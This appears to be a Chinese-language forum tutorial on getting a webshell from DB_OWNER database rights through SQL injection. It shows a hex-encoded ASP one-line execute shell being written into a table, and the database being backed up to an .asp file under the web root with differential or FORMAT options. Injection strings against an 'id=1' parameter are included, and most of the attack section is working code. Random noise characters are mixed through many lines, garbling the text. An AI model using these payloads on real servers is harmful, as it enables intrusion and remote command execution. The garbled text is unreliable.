DB_OWNER权限得到webshell的两点改进:
2 o" o" ^* h8 T" g, V' t7 X
; n( F2 b5 h7 g9 O2 M减少备份文件大小,得到可执行的webshell成功率提高不少% P1 o! m2 w7 V4 f7 X) t% e* r: R
一利用差异备份
. ` x# K, }8 V5 F* {5 \# X加一个参数WITH DIFFERENTIAL
6 ?& b. g# c0 F7 `$ U" b A9 e: A" j4 R; ~8 c0 s: I0 C( m9 X& b
1( l/ d) N$ ~/ l+ C
2
$ G! r! k; B+ Z3 v3' N( q$ ^2 u" j* i! t
4& l; `3 Q' P( ^3 ?4 ^
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s0 G3 W& |% U& H) c8 d
create table [dbo].[xiaolu] ([cmd] [image]);# {. l3 W/ r. X- b. e# a. u- V
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
4 O0 G2 V# ]% i7 W2 j* ydeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL 7 u! O) h" x- g+ P
! i# m- }/ b! m Y" e: v4 s% h
二利用完全FORMAT
, H9 H6 |5 _: _4 ~/ x加一个参数WITH FROMAT
- ~0 o8 N- d1 K/ ^- P3 r有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
- \& E. w5 W3 v) y& h/ c+ a5 B6 J# q% a: {
1
+ T# Z6 s0 |: T$ g+ ^* ]2 q22 v; G' h& K+ V
35 k& A! r- N3 Q' {
4
v6 V- y6 Y v9 @$ R declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s; V0 ?6 N; M/ M# y1 o* E( I
create table [dbo].[xiaolu] ([cmd] [image]);
, v: f8 \/ Q1 C- H! Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)- `7 b# w5 h+ k1 [
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
; d5 G: W: _: f1 i# ]. c, h/ R2 n) H; q# C+ v8 B* p
总的来说就是那么简单几句,下面以备份数据库model为例子1 u. c/ C8 M ~3 Z6 b$ v. L& ]
1) s* ^8 W4 m8 G3 x1 m
, B2 S9 D2 p; z1 [, S8 X9 l8 {
1
6 s4 L- D+ }) l! y+ M$ j" m) d id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
1 {6 m6 i; z2 Z! j ]+ j M& N6 L6 g: h& U! ?# l+ j
2+ A J, c; }; ^# ^" R7 t
# u6 H8 z$ q9 c% O8 t1) L' [ q1 x" ?2 l9 C; A' x3 G
id=1;backup database model to disk='你的路径‘ with differential,format;--
! n6 W9 p6 A/ m- @2 i* l |